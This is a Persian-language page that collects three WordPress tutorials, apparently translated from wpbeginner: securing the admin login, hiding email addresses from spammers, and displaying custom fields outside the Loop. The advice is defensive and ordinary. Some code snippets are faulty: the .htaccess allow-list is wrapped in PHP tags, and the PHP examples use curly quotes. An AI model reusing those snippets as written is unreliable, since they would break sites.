در این لحظه هرکس بخواهد قسمت مدیریت را مشاهده کند باید با نام کاربری و رمزعبور وارد شود.

محافظت از قسمت مدیریت سایت وردپرس

۳- سعی کنید پسوردهای قوی انتخاب کنید

محافظت از قسمت مدیریت سایت وردپرس
سعی کنید برای حسابهای کاربری آنلاین خود پسورد قوی انتخاب کنید.

این پسوردها باید شامل حروف بزرگ و کوچک، اعداد و کاراکترهای خاص باشند تا حدس زدن آنها سخت‌تر شود.

۴- از تاییدیه دو مرحله‌ای برای لاگین وردپرس استفاده کنید

محافظت از قسمت مدیریت سایت وردپرس
تاییدیه دو مرحله‌ای در صفحه لاگین لایه امنیتی مضاعفی را به پسوردتان اضافه می‌کند.

بجای اینکه از رمزعبور تنها استفاده کنید، کد تاییدیه‌ای که توسط برنامه تصدیق گوگل دریافت می‌کنید، را وارد کنید.

حتی اگر رمزعبورتان هک شد بازهم بخاطر تصدیق گوگل قابلیت دسترسی سلب می‌شود.

۵- تعداد دفعات تلاش برای ورود را کاهش دهید

محافظت از قسمت مدیریت سایت وردپرس
اجازه ندهید کاربران برای لاگین شدن به سایت هرچند بار که می‌خواهند رمزعبورشان را اشتباه وارد کنند.

بهتر است این تعداد دفعات کاهش پیدا کند تا ایمنی افزایش یابد.

برای این کار افزونه Login LockDown را نصب کنید و از منوی Settings » Login LockDown تنظیمات خود را اعمال کنید.

۶- به IPهای خاص اجازه ورود دهید

برای داشتن ایمنی بیشتر بهتر است افراد خاص با IPهای خاص اجازه ورود به قسمت مدیریت داشته باشند.

برای این کار تکه کد زیر را به فایل .htaccess اضافه کنید.


<?php
AuthUserFile /dev/null
AuthGroupFile /dev/null
AuthName "WordPress Admin Access Control"
AuthType Basic
<LIMIT GET>
order deny,allow
deny from all
# whitelist Syed's IP address
allow from xx.xx.xx.xxx
# whitelist David's IP address
allow from xx.xx.xx.xxx
</LIMIT>
?>

بجای xxها مشخصات IP مورد نظر خود را وارد کنید.

۷- سرنخهای لاگین را غیر فعال کنید

محافظت از قسمت مدیریت سایت وردپرس
اگر کاربر اطلاعات لاگین را اشتباه وارد کند، وردپرس اعلام می‌کند که نام کاربری اشتباه بود یا رمز عبور.

بهتر است برای داشتن ایمنی بهتر کلی گفته شود، اطلاعات وارد شده اشتباه است.

با اضافه کردن تکه کد زیر به فایل functions.php موجود در پوسته سایت براحتی این تغییر را اعمال کنید.

<?php
function no_wordpress_errors(){
return 'Something is wrong!';}
add_filter( 'login_errors', 'no_wordpress_errors' );
?>

۸- کاربران را مجبور کنید رمزعبور قوی استفاده کنند

استفاده از رمز عبور قوی اگر یک الزام باشد، می‌تواند عالی باشد! تا بحال به آن فکر کرده بودید!؟

۹- رمزعبور تمامی کاربران را تغییر دهید

محافظت از قسمت مدیریت سایت وردپرس
می‌توانید از تک تک کاربران سایت بخواهید رمز عبور خود را تغییر دهند

یا از افزونه Emergency Password Reset استفاده کنید

و از منوی Users » Emergency Password Reset همه رمزهای عبور را ریست کنید.

۱۰- مدام وردپرس را به‌ روز رسانی کنید

همیشه نسخه‌های جدید وردپرس ایمنی بهتری را نسبت به نسخه قبل ارائه داده است. به روز باشید!

۱۱- از صفحات لاگین و ثبت‌نام شخصی استفاده کنید

برای اینکه کاربران مستقیما از خود وبسایت شما وارد و خارج شوند و از هیچ افزونه‌ای استفاده نکنید تا پای واسطه در میان باشد،

بهتر است از صفحه لاگین شخصی استفاده کنید.

۱۲- دسترسی به پیشخوان را محدود کنید

به‌طور پیش‌فرض تمامی کاربران دسترسی به پیشخوان دارند اما تنها کاربرانی که لازم است به پیشخوان دسترسی داشته باشند،

بهتر است اجازه ورود داشته باشند. افزونه Remove Dashboard Access را نصب کنید و از منوی Settings Dashboard Access کاربران موردنظر را انتخاب کنید.

۱۳- کاربرانی که در سایت فعالیت ندارند را لاگ اوت کنید

محافظت از قسمت مدیریت سایت وردپرس
بهتر است کاربران هر چند دقیقه یا چند ساعت یکبار نیاز باشد از سایت خارج شوند و دوباره لاگین کنند.

این روند هرچند خسته کننده است اما امنیت سایت را افزایش می‌دهد.

از منوی Settings » Idle User Logout زمانی را که می‌خواهید به‌طور اتوماتیک از سایت لاگ اوت شود را وارد کنید.

محافظت از قسمت مدیریت سایت وردپرس

منبع: wpbeginner

value1

محافظت از ایمیل‌های وردپرس از دست اسپمرها

محافظت از ایمیل‌های وردپرس از دست اسپمرها

نام آموزش: محافظت از ایمیل‌های وردپرس از دست اسپمرها

با سلام مجدد خدمت شما دوستان و همکاران گرامی.

با یکی دیگر از مطالب مفید سایت لود وی پی اس در خدمت شما هستیم.

در این مطلب میخوام دو راه برای جلوگیری از نشان داده شدن ایمیل ها به اسپمرها با کد به شما معرفی کنم.

شاید افرادی باشند که دوست نداشته باشند ایمیل آن ها را اسپمرها بخوانند.

برای این کار یکی از این دو راه را میتوانید انجام دهید.

راه اول استفاده از افزونه و راه دوم استفاده از یک شورت کد بسیار کوتاه و راحت است.

پس با این قسمت از آموزش محافظت از ایمیل های وردپرس از دست اسپمرها تا پایان ، با ما همراه باشید .

محافظت از ایمیل‌های وردپرس از دست اسپمر‌ها

در ادمه ی مطلب خودم میخوام چگونگی استفاده از این افزونه و کد را به شما توضیح و آموزش بدم .

ابتدا سراغ آموزش افزونه میرویم و پس از آن کد را برای شما تشریح میکنیم .

نام این افزونه Email JavaScript Cloaker است .

همانطور که میدانید ابتدا افزونه را دانلود ، سپس نصب و پس از آن افزونه را فعال میکنیم .

البته باید خدمتتان عرض کنم که این افزونه بر روی سیستم لوکال هاست جواب نمیدهد .

این افزونه ایمیل شما را در قالب جاوا اسکریپت نشان میدهد و از نشان داده شدن ایمیل شما به اسپمر ها جلوگیری میکند .

جلوگیری از نشان داده شدن ایمیل ها به اسپمر ها با کد

در ادامه ی مطلب میخوام چگونگی استفاده از شورت کد را برای شما دوستان توضیح بدم .

اکنون در هر جا که میخواهید آدرس ایمیلتان را قرار دهید ، باید از کد زیر استفاده کنید .

[email info@loadvps.com]

فقط کافی است به جای ( loadvps ) آدرس ایمیلتان را وارد کنید .

اگر میخواهید از دست اسپمر ها و مزاحمت آن ها راحت و آسود خاطر باشید کافی است مطلب بالا را به طور کامل و دقیق مطالعه بفرمایید.

امیدوارم از این فسمت از آموزش محافظت از ایمیل های وردپرس از دست اسپمرها لذت برده باشید .

                      
  صفحه افزونه  
                      

value1

نحوه نمایش فیلدهای سفارشی خارج از حلقه

نحوه نمایش فیلدهای سفارشی خارج از حلقه

نحوه نمایش فیلدهای سفارشی خارج از حلقه

می‌خواهید فیلدهای سفارشی را خارج از حلقه نمایش دهید؟

معمولا فیلدهای سفارشی در وردپرس داخل حلقه و همراه با محتویات پست و متادیتا نمایش داده می‌شود.

در این مقاله نحوه نمایش فیلدهای سفارشی خارج از حلقه در وردپرس نمایش داده می‌شود.

فیلد سفارشی در وردپرس چیست؟

فیلد سفارشی امکان اضافه کردن و سپس نمایش متادیتاهای بیشتر در پستهای وبسایت وردپرس را فراهم آورده‌اند.

امکان اضافه کردن فیلد سفارشی با فعال کردن متاباکس فیلد سفارشی در پایین‌ترین قسمت آپشن صفحه وردپرس وجود دارد.

نحوه نمایش فیلدهای سفارشی خارج از حلقه

از آنجایی که با استفاده از فیلد سفارشی آپشنهای بیشتری را درون حلقه وردپرس و همراه با محتویات پست نمایش می‌دهد،

شاید بخواهید این متادیتاها را خارج از حلقه و در محل موردنظر نمایش دهید. این ترفند کمی با حالت قبل تفاوت دارد.

نحوه نمایش فیلدهای سفارشی خارج از حلقه

بجای نمایش فیلد سفارشی و متادیتاها خارج از حلقه، در ادامه ترفندی را به شما آموزش می‌دهیم که از چندین حلقه تودرتو استفاده کنید

و بدون اینکه به حلقه اصلی اثری گذاشته شود، موارد دلخواه شما نیز انجام شود.

برای اینکار نیاز است قطعه کدی را در فایل قالب وردپرس اضافه کنید. جایی که می‌خواهید فیلد سفارشی نمایش داده شود، قطعه کد زیر را الصاق کنید.

<?php
global $wp_query;
$postid = $wp_query->post->ID;
echo get_post_meta($postid, ‘Your-Custom-Field’, true);
wp_reset_query();
?>

فراموش نکنید Your-Custom-Field را با فیلد سفارشی واقعی خودتان جایگزین کنید.

می‌توانید قطعه کد را طوری تغییر دهید تا نیازهایتان تامین شود.

قابلیت اضافه کردن کوئری برای بدست آوردن اطلاعات فیلدهای خاص نیز وجود دارد.

جایی که می‌خواهید فیلد سفارشی نمایش داده شود، قطعه کد زیر را اضافه کنید.

<?php
$args = array (
// Post or Page ID
‘p’ => 231,
);

// The Query
$the_query = new WP_Query( $args );

// The Loop
if ( $the_query->have_posts() ) {

while ( $the_query->have_posts() ) {
$the_query->the_post();
echo get_post_meta( get_the_ID(), ‘Mood’, true);
}

 

/* Restore original Post Data */
wp_reset_postdata();

} else {

echo ‘Nothing found’;

}
?>

سپس بدین شکل نمایش داده می‌شود.

قسمت Mood و مقدار آن و همچنین شماره ID پست یا صفحه را با توجه به سایت خود جایگزین کنید.

نحوه نمایش فیلدهای سفارشی خارج از حلقه

منبع: wpBeginner